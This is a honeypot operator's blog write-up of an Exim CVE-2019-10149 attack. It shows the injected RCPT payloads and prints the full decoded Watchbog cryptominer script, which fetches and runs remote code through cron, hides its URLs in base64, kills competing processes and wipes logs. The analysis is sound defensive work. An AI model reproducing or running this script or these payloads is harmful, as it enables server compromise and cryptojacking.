After putting up my first honeypot running the StickyExim it took less than 24 hours to catch something. So, let’s take a look at the attempted exploits and what the attacker was looking to achieve.
I will start off by showing you what the abuse reports look like that come from the StickyExim program. The report is emailed to both me and the ISP that owns the IP address. Below is a copy of the report that was sent to me from the attack.
Hello Abuse Team, An IP address registered under your control has been involved in committing malicious attacks. Please take imminent action to stop the attackers or blackhole the offending IP. Below are the details of the attack. --Type-of-Attack-- The IP in question is attempting to exploit the Exim Vulnerability CVE-2019-10149 by injecting remote command execution into email headers. --Evidence-Log-Data-- Evidence Log Creation : Sun Jul 28 10:45:01 CEST 2019 Attacking Email Server IP : 106.14.29.81 Attacking IP Owners Name : ALISOFT Attacking IP Owners registered Country : CN Attacking IP Owners email addresses : anti-spam[AT]list.alibaba-inc.com,cloud-cc-sqcloud[AT]list.alibaba-inc.com,guowei.pangw[AT]alibaba-inc.com,ipas[AT]cnnic.cn,jiali.jl[AT]alibaba-inc.com, ----START-Log-Activities--- =========================== 2019-07-28 10:35:46 no host name found for IP address 106.14.29.81 2019-07-28 10:35:48 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22curl\x20https\x3a\x2F\x2Fpastebin.com\x2Fraw\x2FjjFzjCwx\x20-o\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address 2019-07-28 10:35:49 TLS error on connection from (localhost) [106.14.29.81] (recv): The TLS connection was non-properly terminated. 2019-07-28 10:35:49 TLS error on connection from (localhost) [106.14.29.81] (send): The specified session has been invalidated for some reason. 2019-07-28 10:35:49 unexpected disconnection while reading SMTP command from (localhost) [106.14.29.81] 2019-07-28 10:37:49 no host name found for IP address 106.14.29.81 2019-07-28 10:37:52 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20https\x3a\x2F\x2Fpastebin.com\x2Fraw\x2FjjFzjCwx\x20-O\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address 2019-07-28 10:37:52 TLS error on connection from (localhost) [106.14.29.81] (recv): The TLS connection was non-properly terminated. 2019-07-28 10:37:52 TLS error on connection from (localhost) [106.14.29.81] (send): The specified session has been invalidated for some reason. 2019-07-28 10:37:52 unexpected disconnection while reading SMTP command from (localhost) [106.14.29.81] 2019-07-28 10:39:53 no host name found for IP address 106.14.29.81 2019-07-28 10:39:54 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22bash\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address 2019-07-28 10:39:55 TLS error on connection from (localhost) [106.14.29.81] (recv): The TLS connection was non-properly terminated. 2019-07-28 10:39:55 TLS error on connection from (localhost) [106.14.29.81] (send): The specified session has been invalidated for some reason. 2019-07-28 10:39:55 unexpected disconnection while reading SMTP command from (localhost) [106.14.29.81] 2019-07-28 10:35:48 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22curl\x20https\x3a\x2F\x2Fpastebin.com\x2Fraw\x2FjjFzjCwx\x20-o\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address 2019-07-28 10:37:52 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20https\x3a\x2F\x2Fpastebin.com\x2Fraw\x2FjjFzjCwx\x20-O\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address 2019-07-28 10:39:54 H=(localhost) [106.14.29.81] X=TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256 CV=no F=<> rejected RCPT <${run{\x2Fbin\x2Fsh\t-c\t\x22bash\x20\x2Ftmp\x2Fbaby\x22}}@localhost>: Restricted characters in address =========================== ----End-Log-Activities----- Please let our team know if you have any questions or require further evidence. Regards, HoneyPot Team
This is the section of the log we need to focus on and convert from hexadecimal to ASCII character.
<${run{\x2Fbin\x2Fsh\t-c\t\x22curl\x20https\x3a\x2F\x2Fpastebin.com\x2Fraw\x2FjjFzjCwx\x20-o\x20\x2Ftmp\x2Fbaby\x22}}@localhost>
Here is the same string with the hexadecimal converted to normal ASCII characters.
${run{/bin/sh\t-c\t"curl https://pastebin.com/raw/jjFzjCwx -o /tmp/baby"}}@localhost>
Now that I have the terminal commands that were going to be run by the exploit when it was triggered I can step through the process without actually running the exploit. For this, I start up a sandbox VM where I can download the infected files one by one and examine them.
This first link to PasteBin turns out to be a redirect to another paste and link, which, surprise, turns out to be another redirect to a different pace than the link. After a total of three redirects, we finally get to the actual exploit link.
${run{/bin/sh\t-c\t"curl https://pastebin.com/raw/jjFzjCwx -o /tmp/baby"}}@localhost>
nohup bash -c '(curl -fsSL https://pastebin.com/raw/3FDDiNwW||wget -q -O - https://pastebin.com/raw/3FDDiNwW)|bash' >/dev/null 2>&1 & rm -rf /tmp/baby*
(curl -fsSL https://pastebin.com/raw/KJcZ9HLL||wget -q -O - https://pastebin.com/raw/KJcZ9HLL)| base64 -d |bash
The final PasteBin link is a bash script that has been encoded in base64. All of these different redirects and encoding the bash script and base64 is an attempt to obfuscate the attack. I’m not sure what PasteBin’s policies are on hosting malware, but I can’t imagine that they would allow it. I will have to follow up on this point.
Moving on. Now that we have downloaded a copy of the shell script in base64 we can simply use Linux’s built-in base64 command to decode it back to normal ASCII text. Let’s take a look at the script.
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#This is the Old-ReBuild Lady job copy
#
#Goal:
# The goal of this campaign is as follows;
# - To keep the internet safe.
# - To keep them hackers from causing real damage to organisations.
# - We know you feel We are a potential threat, well We ain't.
# - We want to show how tiny vulns could lead to total disaters.
# - We know you feel We are Hypocrite's, because we mine. Well if we don't how the hell we gonna let you know we are in.
# - Please We plead to evey one out there don't sabotage this campaign (We want to keep the internet safe).
# - Sometimes you gotta break the rules to make them.
#
#Disclaimer:
#1) We only Wanna Mine.
#2) We don't want your data, or anything or even a ransom.
#3) Please if you find this code, don't post about it.
#4) We make your security better by breaking it.
#
#Contact:
#1) If your server get's infected:
# - We will provide cleanup script.
# - We will share source of entry into your servers and patch (surely).
# - Please if you contacting, please send your affected server's ip and services your run on the server.
# - lets talk [email protected] or [email protected]
#2) If you want to partner with us ?.
# - Well nothing to say.
#
#Note:
#1) We don't have access to [email protected] anymore.
house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0V6cVZrZTZYCg==|base64 -d)
room=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzRIdnpHZkdtCg==|base64 -d)
park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzNGRERpTndXCg==|base64 -d)
beam=$(echo aHR0cHM6Ly9hemlwbGNyNzJxamh6dmluLm9uaW9uLnRvL29sZC50eHQK|base64 -d)
deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3RUZ0xRMzVmCg==|base64 -d)
surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0xVTjgwSGo4Cg==|base64 -d)
me=$( whoami )
function getarch() {
ver="x86_64"
arch=$(uname -m)
arch2=$(uname -i)
arch3=$(getconf LONG_BIT)
if [ "$arch" == "x86_64" ]; then
ver="x86_64"
elif [ "$arch" == "i686" ]; then
ver="i686"
elif [ "$arch2" == "x86_64" ]; then
ver="x86_64"
elif [ "$arch2" == "i386" ]; then
ver="i686"
elif [ "$arch3" == "64" ]; then
ver="x86_64"
else
ver="x86_64"
fi
echo $ver
}
ARCH=$(getarch)
function system() {
chattr -i /etc/crontab
rm -rf /bin/httpntp /bin/ftpsdns
sed -i '/httpntp/d' /etc/crontab
sed -i '/ftpsdns/d' /etc/crontab
echo -e "(python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" > /bin/httpntp
chmod 755 /bin/httpntp
if [ ! -f "/etc/crontab" ]; then
echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /bin/httpntp\n##" >> /etc/crontab
else
echo -e "0 1 * * * root /bin/httpntp" >> /etc/crontab
fi
(curl -fsSL $room||wget -q -O - $room) > /bin/ftpsdns
chmod 755 /bin/ftpsdns
if [ ! -f "/etc/crontab" ]; then
echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n5 1 * * * root /bin/ftpsdns\n##" >> /etc/crontab
else
echo -e "5 1 * * * root /bin/ftpsdns" >> /etc/crontab
fi
touch -acmr /bin/sh /etc/crontab
}
function dragon() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKI3NpbXBsZSBodHRwX2JvdAppbXBvcnQgdXJsbGliCmltcG9ydCBiYXNlNjQKaW1wb3J0IG9zCgpkZWYgc29zKCk6CiAgICB1cmwgPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzA1cDBmVFlkJwogICAgdHJ5OgogICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3Blbih1cmwpLnJlYWQoKSkKICAgICAgICBmID0gb3MucG9wZW4oc3RyKHBhZ2UpKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KCdmYWlsZWQgdG8gZXhlY3V0ZSBvcyBjb21tYW5kJykKICAgICAgICBwYXNzCgpkZWYgcnVuU2NyaXB0KCk6CiAgICB1cmwgPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0t4V1BGZUVuJwogICAgdHJ5OgogICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3Blbih1cmwpLnJlYWQoKSkKICAgICAgICBleGVjKHBhZ2UpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoJ2ZhaWxlZCB0byBleGVjdXRlIG9zIHB5dGhvbiBzY3JpcHQnKQogICAgICAgIHBhc3MKCmQ9ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvWDZ3dnV2OTgnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBpZiBwYWdlID09ICdvcyc6CiAgICAgICAgc29zKCkKICAgIGVsaWYgcGFnZSA9PSAnc2NyaXB0JzoKICAgICAgICBydW5TY3JpcHQoKQogICAgZWxzZToKICAgICAgICBwcmludCgnSSBjYW5cJ3QgdW5kZXJzdGFuZCB0aGUgYWN0aW9uIGFtIGdpdmVuJykKZXhjZXB0OgogICAgcHJpbnQoJ1NvcnJ5IGJvc3MgSSBjYW5cJ3QgZ2V0IGluc3RydWN0aW9ucycpCiAgICBwYXNzCg=='))" >/dev/null 2>&1 &
touch /tmp/.tmpk
}
function cronhigh() {
chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane
mkdir -p /var/spool/cron/crontabs
mkdir -p /etc/cron.hourly
mkdir -p /etc/cron.daily
mkdir -p /etc/cron.monthly
sed -i '/pastebin.com/d' /etc/cron.d/root && sed -i '/##/d' /etc/cron.d/root
sed -i '/pastebin.com/d' /etc/cron.d/apache && sed -i '/##/d' /etc/cron.d/apache
sed -i '/pastebin.com/d' /etc/cron.d/system && sed -i '/##/d' /etc/cron.d/system
sed -i '/pastebin.com/d' /var/spool/cron/crontabs/root && sed -i '/##/d' /var/spool/cron/crontabs/root
sed -i '/pastebin.com/d' /var/spool/cron/root && sed -i '/##/d' /var/spool/cron/root
key=$( (curl -fsSL $house||wget -q -O - $house) )
echo -e "*/3 * * * * root (curl -fsSL $house||wget -q -O- $house||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/root
echo -e "*/6 * * * * root (curl -fsSL $house||wget -q -O- $house||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/system
echo -e "*/7 * * * * root (curl -fsSL $house||wget -q -O- $house||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/apache
echo -e "*/9 * * * * (curl -fsSL $house||wget -q -O- $house||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/root
echo -e "*/11 * * * * (curl -fsSL $house||wget -q -O- $house||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/crontabs/root
if [ ! -f "/etc/cron.hourly/oanacroane" ]; then
echo $key > /etc/cron.hourly/oanacroane && chmod 755 /etc/cron.hourly/oanacroane
fi
if [ ! -f "/etc/cron.daily/oanacroane" ]; then
echo $key > /etc/cron.daily/oanacroane && chmod 755 /etc/cron.daily/oanacroane
fi
if [ ! -f "/etc/cron.monthly/oanacroane" ]; then
echo $key > /etc/cron.monthly/oanacroane && chmod 755 /etc/cron.monthly/oanacroane
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/apache
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacroane
touch -acmr /bin/sh /etc/cron.daily/oanacroane
touch -acmr /bin/sh /etc/cron.monthly/oanacroane
}
function cronlow() {
cr=$(crontab -l | grep -q "$house" | wc -l)
if [ ${cr} -eq 0 ];then
crontab -r
(crontab -l 2>/dev/null; echo "*/1 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash > /dev/null 2>&1")| crontab -
else
echo " "
fi
}
function cronbackup() {
pay="(curl -fsSL $house||wget -q -O- $house||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash"
status=0
crona=$(systemctl is-active cron)
cronb=$(systemctl is-active crond)
cronatd=$(systemctl is-active atd)
if [ "$crona" == "active" ] ; then
echo "cron okay"
elif [ "$cronb" == "active" ]; then
echo "cron okay"
elif [ "$cronatd" == "active" ] ; then
status=1
else
status=2
fi
if [ $status -eq 1 ] ; then
echo "Setting up atd backup"
for a in $(at -l|awk '{print $1}'); do at -r $a; done
echo "$pay" | at -m now + 1 minute
fi
if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
echo "Setting up custom backup"
ps auxf|grep -v grep|grep "crun" | awk '{print $2}'|xargs kill -9
key="while true; do sleep 60 && $pay; done"
echo -e "$key\n##" > /tmp/crun && chmod 777 /tmp/crun && cd /tmp/
nohup ./crun >/dev/null 2>&1 &
sleep 15
rm /tmp/crun
fi
}
function gettarfile() {
base_path=$1
tar_url=$2
tar_flag=$3
output=$4
temp_path="/tmp/.tmpdropoff/"
if [ "$tar_flag" == "-xzvf" ];then
tar_out="/tmp/.tmpdropoff/rig.tar.gz"
rig_path="/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls"
else
tar_out="/tmp/.tmpdropoff/rig.tar.xz"
rig_path="/tmp/.tmpdropoff/dataoutput/xmr-stak-linux-2.10.3-cpu/xmr-stak"
fi
mkdir -p $temp_path/dataoutput/
cd $temp_path
(curl -fsSL $tar_url -o $tar_out||wget -q $tar_url -O $tar_out)
tar $tar_flag $tar_out -C $temp_path/dataoutput/
mv $rig_path $output
cd $base_path
rm -rf $temp_path
}
function getencodedfile() {
file_url=$1
file_out=$2
(curl -fsSL $file_url|| wget -q -O - $file_url)| base64 -d > $file_out
}
function download() {
mode=$1
pa=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pa} -eq 0 ];then
mi_64=$(echo aHR0cHM6Ly9naXRodWIuY29tL3htcmlnL3htcmlnL3JlbGVhc2VzL2Rvd25sb2FkL3YyLjE0LjEveG1yaWctMi4xNC4xLXhlbmlhbC14NjQudGFyLmd6Cg==|base64 -d)
mi_32=$(echo aHR0cHM6Ly9waXhlbGRyYWluLmNvbS9hcGkvZmlsZS9adVZXY2VXRw==|base64 -d)
der_ke=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2RYRDJCczBICg==|base64 -d)
if [ "$mode" == "low" ]; then
path="/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data"
mkdir -p $path
rm -rf $path/*
chattr -i $path/*
else
path="/bin"
rm -rf $path/config.json $path/watchbog
fi
cd $path
if [ ! -f "$path/config.json" ]; then
getencodedfile "$der_ke" "$path/config.json"
fi
if [ "$ARCH" == "x86_64" ]; then
if [ ! -f "$path/watchbog" ]; then
gettarfile "$path" "$mi_64" "-xzvf" "$path/watchbog"
chmod 777 $path/watchbog
nohup ./watchbog >/dev/null 2>&1 &
else
nohup ./watchbog >/dev/null 2>&1 &
fi
elif [ "$ARCH" == "i686" ]; then
if [ ! -f "$path/watchbog" ]; then
getencodedfile "$mi_32" "$path/watchbog"
chmod 777 $path/watchbog
nohup ./watchbog >/dev/null 2>&1 &
else
nohup ./watchbog >/dev/null 2>&1 &
fi
else
if [ ! -f "$path/watchbog" ]; then
gettarfile "$path" "$mi_64" "-xzvf" "$path/watchbog"
chmod 777 $path/watchbog
nohup ./watchbog >/dev/null 2>&1 &
else
nohup ./watchbog >/dev/null 2>&1 &
fi
fi
fi
}
function testa() {
mode=$1
pb=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pb} -eq 0 ];then
st_64=$(echo aHR0cHM6Ly9naXRodWIuY29tL2ZpcmVpY2UtdWsveG1yLXN0YWsvcmVsZWFzZXMvZG93bmxvYWQvMi4xMC4zL3htci1zdGFrLWxpbnV4LTIuMTAuMy1jcHUudGFyLnh6Cg==|base64 -d)
con_url=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1prejBkOUp6Cg==|base64 -d)
cpu_url=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L212U0VHbVI2Cg==|base64 -d)
poo_url=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NCMFRZQnZHCg==|base64 -d)
if [ "$mode" == "low" ]; then
path="/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data"
mkdir -p $path
rm -rf $path/*
else
path="/bin"
rm -rf $path/config.json $path/watchbog $path/config.txt $path/cpu.txt $path/pools.txt
fi
cd $path
if [ ! -f "$path/config.txt" ]; then
getencodedfile "$con_url" "$path/config.txt"
chmod 777 $path/config.txt
fi
if [ ! -f "$path/cpu.txt" ]; then
getencodedfile "$cpu_url" "$path/cpu.txt"
chmod 777 $path/cpu.txt
fi
if [ ! -f "$path/pools.txt" ]; then
getencodedfile "$poo_url" "$path/pools.txt"
chmod 777 $path/pools.txt
fi
if [ "$ARCH" == "x86_64" ]; then
if [ ! -f "$path/watchbog" ]; then
gettarfile "$path" "$st_64" "-xf" "$path/watchbog"
chmod 777 $path/watchbog
nohup ./watchbog >/dev/null 2>&1 &
else
nohup ./watchbog >/dev/null 2>&1 &
fi
else
rm -rf $path/cpu.txt $path/pools.txt $path/config.txt
fi
fi
}
function finished() {
mode=$1
if [ "$mode" == "low" ]; then
(curl -fsSL $deep || wget -q -O - $deep)
touch /tmp/.tmpc
else
(curl -fsSL $surf || wget -q -O - $surf)
touch /tmp/.tmpc
fi
}
function newpay() {
info=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzJ1bkppRDNiCg==|base64 -d)
update=$( (curl -fsSL $info|| wget -q -O - $info) )
if [ "$update" == "update" ];then
echo "An update exists boss"
else
echo "NO update exists boss"
fi
}
function cleanoldpack() {
ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9
ps aux | grep -v '/boot/vmlinuz' | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid; done
pkill -f watchbog
}
function moveon() {
cleanoldpack
path0="/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data"
path1="/bin"
declare -a arr0=("$path0/config.json" "$path0/pools.txt" "$path1/config.json" "$path1/pools.txt")
for check in "${arr0[@]}"
do
if [ -f $check ]; then
echo "$check file exist"
way=$(cat $check | grep "44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJCqDhqni3B" | wc -l)
if [ ${way} -ne 0 ];then
echo "cleaning up file $check"
rm -rf $check
cleanoldpack
fi
fi
done
}
echo "I am $me"
if [ "$me" != "root" ];then
pz=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pz} -ne 0 ];then
echo "It's running boss"
crontab -r
cronlow
else
download "low"
crontab -r
cronlow
sleep 15
pm=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pm} -eq 0 ];then
testa "low"
fi
prt=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${prt} -ne 0 ];then
if [ ! -f "/tmp/.tmpc" ]; then
finished "low"
fi
fi
fi
fi
if [ "$me" == "root" ];then
pz=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pz} -ne 0 ];then
echo "It's running boss"
system
cronhigh
else
echo "Setting Up Sys Cron"
system
cronhigh
download "high"
sleep 15
pm=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)
if [ ${pm} -ne 0 ];then
if [ ! -f "/tmp/.tmpc" ]; then
finished "high"
fi
fi
sleep 30
if [ ${pm} -eq 0 ];then
testa "high"
if [ ${pm} -ne 0 ];then
finished "high"
fi
fi
if [ ${pm} -eq 0 ];then
download "low"
if [ ${pm} -ne 0 ];then
finished "low"
fi
fi
if [ ${pm} -eq 0 ];then
testa "low"
if [ ${pm} -ne 0 ];then
finished "low"
fi
fi
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
sed -i '/pastebin/d' /var/log/syslog
sed -i '/github/d' /var/log/syslog
fi
#
cronbackup
#
Okay, what is up with this top comments section of the script. This reads like some hacker manifesto. At this point, I start googling the strings in the comments section to see if I can find anyone else who has come by this before. Sure enough, it did not take long to find other articles referencing to the e-mail address, as well as the entirety of the top comment section. Below is a link to the first article I found from Bleeping Computer.
The malware that I have found here is a version of the Watchbog Linux Trojan. Its goal of the malware is pretty simple, install itself and begin mining cryptocurrency in this case Monero(XMR). So at this point, I’m a little disappointed I haven’t found anything new.
Since this malware is already well known and has been picked apart, there is no reason for me to waste my time on it. This Malware has been very successful in its mining of vulnerable systems producing up to one whole Monero coin a day!
Unfortunately, in this case, it seems that crime does pay…
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